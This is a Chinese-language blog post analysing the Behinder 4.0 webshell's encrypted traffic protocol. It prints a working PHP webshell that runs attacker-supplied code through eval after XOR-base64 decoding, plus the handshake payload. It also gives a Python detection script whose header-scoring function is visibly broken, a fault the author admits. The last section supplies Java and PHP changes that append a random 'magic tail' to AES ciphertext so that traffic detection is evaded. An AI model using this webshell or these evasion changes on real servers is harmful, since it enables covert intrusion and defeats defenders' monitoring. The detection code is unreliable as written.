特征一直是厂商查杀的重点,在主机层,aes 相关的 API 也是一个强特征。既然是特征,那就一定存在一个一成不变的常量,那我们就把这个特征泛化一下,让他成为变量。为了一劳永逸解决这个问题,v4.0 版本提供了传输协议自定义功能,让用户对流量的加密和解密进行自定义,实现流量加解密协议的去中心化。 首先看一下冰蝎Payload流转的流程图: 可以分为这五个流程 1、本地对 Payload 进行加密,然后通过 POST 请求发送给远程服务端; 2、服务端收到 Payload 密文后,利用解密算法进行解密; 3、服务端执行解密后的 Payload,并获取执行结果; 这三步的基础是 shell.php,通过 post 请求传 body <?php @error_reporting(0); function decrypt($data) {    $key="25f9e794323b4538";    $bs="base64_"."decode"; $after=$bs($data.""); for($i=0;$i<strlen($after);$i++) {   $after[$i] = $after[$i]^$key[$i+1&15];   }    return $after; } $post=Decrypt(file_get_contents("php://input"));    eval($post); ?> 在第一次传输的时候,做了密钥协商与指纹确认的事情,冰蝎需要先确定你(受攻击端)确实是能够和我(本地攻击者)进行加解密,或者说可以进行数据传输,这也就是第一次发包。 对应的代码如下,这是冰蝎当中 payload/php 下的代码 ———— Echo.php 在实际传输过程中会发现冰蝎发包时多了一个 encrypt() 函数,我后续会对这一现象进行解释。 @error_reporting(0); function main($content) {    $result = array();    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    @session_start();    //初始化session,避免connect之后直接background,后续get result无法获取cookie    echo encrypt(json_encode($result)); } function encrypt($data) {        $key="25f9e794323b4538";    for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];       }        $bs="base64_"."encode";    $after=$bs($data."");        return $after; } $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl $content=base64_decode($content); main($content); 在这一次内容传输结束之后,冰蝎确认被攻击端与本地可以建立传输,才会发第二次包,也就是执行 phpinfo() 命令,代码略。 接着 4、服务端对 Payload 执行结果进行加密,然后返回给本地客户端; 5、客户端收到响应密文后,利用解密算法解密,得到响应内容明文。 响应内容略,在上文中已经提到过。 由上述流程可知,一个完整的传输协议由两部分组成,本地协议和远程协议。由于客户端使用 Java 开发,因此本地协议的加解密算法需要用 Java 实现。远程协议根据服务端语言类型,可能为 Java、PHP、C#、ASP。无论用哪种语言,同一个名称的传输协议,本地和远程的加解密逻辑应该是一致的,这样才能实现本地加密后,远程可以成功解密,远程加密后,本地同样也可以解密。 如下是一个最简单的 php 版本的传输协议: 传输协议的加解密函数名称分别为 Encrypt 和 Decrypt,且都只有一个入参,参数类型为二进制字节流。这也就是为什么在 shell.php 中存在一个 Decrypt() 函数,且每一次的发包中有 encrypt() 函数的原因。如此一来就实现了这一个条件 ———— 本地有一对加解密的函数,由 Java 编写;远程端(受攻击端)存在一对加解密的函数,由对应远程端的语言决定,如果是 php 就是由 php 编写,若是 asp 就由 asp 编写(亲测如此) 针对冰蝎 xor_base64 的检测脚本编写 内容是基于 LiRiu 师傅的文章写的 我认为的脚本编写,不应该是针对某个 User-Agent 或者是 Payload 开头等进行单一的判断,为了很多正常请求的通过,这些判断一定是需要综合考虑的。 因此合理的方式应该是记分的,判断恶意性的大小。我们先来看冰蝎在第二次连接的时候,也就是请求 phpinfo() 时的包 针对一些 HTTP 头的检测 HTTP 请求头 它的几个 Accept 头通常是固定的,所以这里可以作为一个主判断点 Accept: application/json, text/javascript, */*; q=0.01 Accept-Encoding: identity Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 有的师傅说冰蝎 4.0 当中的 UA 是十选一的,我觉得这里占比相当小,并不需要将 UA 加入进判断规则当中。 Content-Length 较大 Content-Length: 8244 可以作为辅助特征进行检测。 冰蝎通讯默认使用长连接 造成的影响是包中存在如下 HTTP 头,可以作为辅助特征进行检测。 Connection: Keep-Alive 端口检测 冰蝎与 webshell 建立连接的同时,javaw 也与目的主机建立 tcp 连接,每次连接使用本地端口在 49700 左右,每连接一次,每建立一次新的连接,端口就依次增加。此处可以对符合该范围内的端口告警。 针对恶意脚本内容的检测 冰蝎 shell 当中的恶意 php 脚本,头都是一样的,以 @error_reporting 开头 @error_reporting(0);   function main 所以对于这一段,个人认为是可以作为主要检测规则的,所以此处需要先写一个 xor_base64,单纯检测恶意脚本的 python 程序如下 from base64 import b64decode phrases = [    "assert|eval(base64_decode('".encode(),    b'<?\n@error_reporting(0);\n\nfunctio',    b'<?\nfunction main($action, $remot',    b'<?\n@error_reporting(0);\nset_time',    b'\nerror_reporting(0);\n\nfunction m',    b'<?\n@error_reporting(0);\n\n\nfuncti',    b'<?\nerror_reporting(0);\nfunction ',    b'@error_reporting(0);\nfunction ma',    b'<?php\n\n$taskResult = array();\n$p',    b"<?\nerror_reporting(0);\nheader('C",    b'@error_reporting(0);\n\nfunction g',    b'<?\n@error_reporting(0);\n@set_tim', ] def xor(l0, l1):    ret = [chr(ord(chr(a)) ^ ord(chr(b))) for a,b in zip(l0,l1)]    return "".join(ret)         def check(cipher):    cipher = b64decode(cipher)    for phrase in phrases:        p0 = phrase[0:16]        p1 = phrase[16:]                c0 = cipher[0:16]        c1 = cipher[16:16+len(p1)]        k0 = xor(p0, c0)        k1 = xor(p1, c1)        if k1 in k0:            return k0    return None cipher = "..." HeaderData = "..." key = check(cipher) if key:    print("[+]", cipher[:32], "is XOR Behinder Request!")    print("[+] The Key of Behinder is ", key) else:    print("[-]", cipher[:32], "not Behinder Request..") 接着加上辅助判断 def auxiliaryPoints(HeaderData):      # 辅助判断的函数    evilPoint = 0    list = []    LightBlacklist = [        b'Accept: application/json, text/javascript, */*; q=0.01',        b'Accept-Encoding: identity',        b'Connection: Keep-Alive',   ]    for temp in HeaderData:        list.append(temp)    lenData = 0    while lenData <= HeaderData.length():        if(list[lenData].contains(LightBlacklist)):            evilPoint = evilPoint + 10    return evilPoint LiRiu 师傅的可以,但是我自己的包失败了。。 冰蝎马的改写与绕过 tips 冰蝎作者提出了一种非常巧妙的绕过方式,也就是在 AES 加密的时候增加一个小尾巴,这个尾巴存在自定义的可能性,也就让很多设备难以进行检测了。 加密算法 本地默认的 aes 传输协议加密算法如下:    private byte[] Encrypt(byte[] data) throws Exception   {        String key="e45e329feb5d925b";        byte[] raw = key.getBytes("utf-8");        javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");        javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"        cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);        byte[] encrypted = cipher.doFinal(data);        Class baseCls;        try       {            baseCls=Class.forName("java.util.Base64");            Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);            encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});       }        catch (Throwable error)       {            baseCls=Class.forName("sun.misc.BASE64Encoder");            Object Encoder=baseCls.newInstance();            String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});            result=result.replace("\n", "").replace("\r", "");            encrypted=result.getBytes();       }        return encrypted;   } 服务端是 PHP,使用默认的 aes 算法,但是由于默认使用的是 aes128 的算法,会导致密文长度恒是 16 的整数倍,流量设备可能通过这个特征来对冰蝎做流量识别,我现在想对默认算法做一个简单修改,在密文最后最加一个 magic 尾巴,随机产生一个随机长度的额外字节数组 修改后本地: private byte[] Encrypt(byte[] data) throws Exception {    String key="e45e329feb5d925b";    byte[] raw = key.getBytes("utf-8");    javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(raw, "AES");    javax.crypto.Cipher cipher =javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");// "算法/模式/补码方式"    cipher.init(javax.crypto.Cipher.ENCRYPT_MODE, skeySpec);    byte[] encrypted = cipher.doFinal(data);    Class baseCls;    try   {        baseCls=Class.forName("java.util.Base64");        Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null);        encrypted= (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});   }    catch (Throwable error)   {        baseCls=Class.forName("sun.misc.BASE64Encoder");        Object Encoder=baseCls.newInstance();        String result=(String) Encoder.getClass().getMethod("encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{encrypted});        result=result.replace("\n", "").replace("\r", "");        encrypted=result.getBytes();   }    //增加魔法尾巴    int magicNum=Integer.parseInt(key.substring(0,2),16)%16;    java.util.Random random=new java.util.Random();    byte[] buf=new byte[magicNum];    for (int i=0;i<buf.length;i++)   {        buf[i]=(byte)random.nextInt(256);   }    java.io.ByteArrayOutputStream output = new java.io.ByteArrayOutputStream();    output.write(encrypted);    output.write(buf);    return output.toByteArray(); } 远程 由于我们目前假设的是一个 PHP 的目标环境,远程加密函数采用 PHP 格式编写,如下: function Encrypt($data)   {   $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond   $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));   $magicNum=hexdec(substr($key,0,2))%16; //根据密钥动态确定魔法尾巴的长度   for($i=0;$i<$magicNum;$i++) {   $encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴   }   return $encrypted;   } 解密算法 在加密算法中,我们在原版 aes 的基础上,在密文最后追加了一段魔法尾巴,尾巴长度为秘钥的前两位十六进制对应的数值对 16 取模的值。在解密时,我们只需要在原版 aes 解密函数的基础上,把密文最后的尾巴截掉即可。分别对 Java 版本和 PHP 版本的解密函数做修改。 本地 private byte[] Decrypt(byte[] data) throws Exception {    String k="e45e329feb5d925b";    int magicNum=Integer.parseInt(k.substring(0,2),16)%16; //取magic tail长度    data=java.util.Arrays.copyOfRange(data,0,data.length-magicNum); //截掉magic tail    javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));    byte[] decodebs;    Class baseCls ;            try{                baseCls=Class.forName("java.util.Base64");                Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);                decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});           }            catch (Throwable e)           {                baseCls = Class.forName("sun.misc.BASE64Decoder");                Object Decoder=baseCls.newInstance();                decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});           }    return c.doFinal(decodebs); } 远程 function Decrypt($data)   {   $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond   $magicNum=hexdec(substr($key,0,2))%16; //取magic tail长度   $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail   return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);   } 从理论上来说,这一种方式也可以绕过 xor_base64 的检测 0x05 小结 对于冰蝎 4.0 版本的分析大部分还是由自己独立完成,在还没有看作者写的内容的时候就意识到了传输协议的本质,冰蝎 4.0 写的确实非常厉害。 而在作者的文章当中也提供了很有启发性的思维 ———— 尽量以算法的方式改写冰蝎的攻击。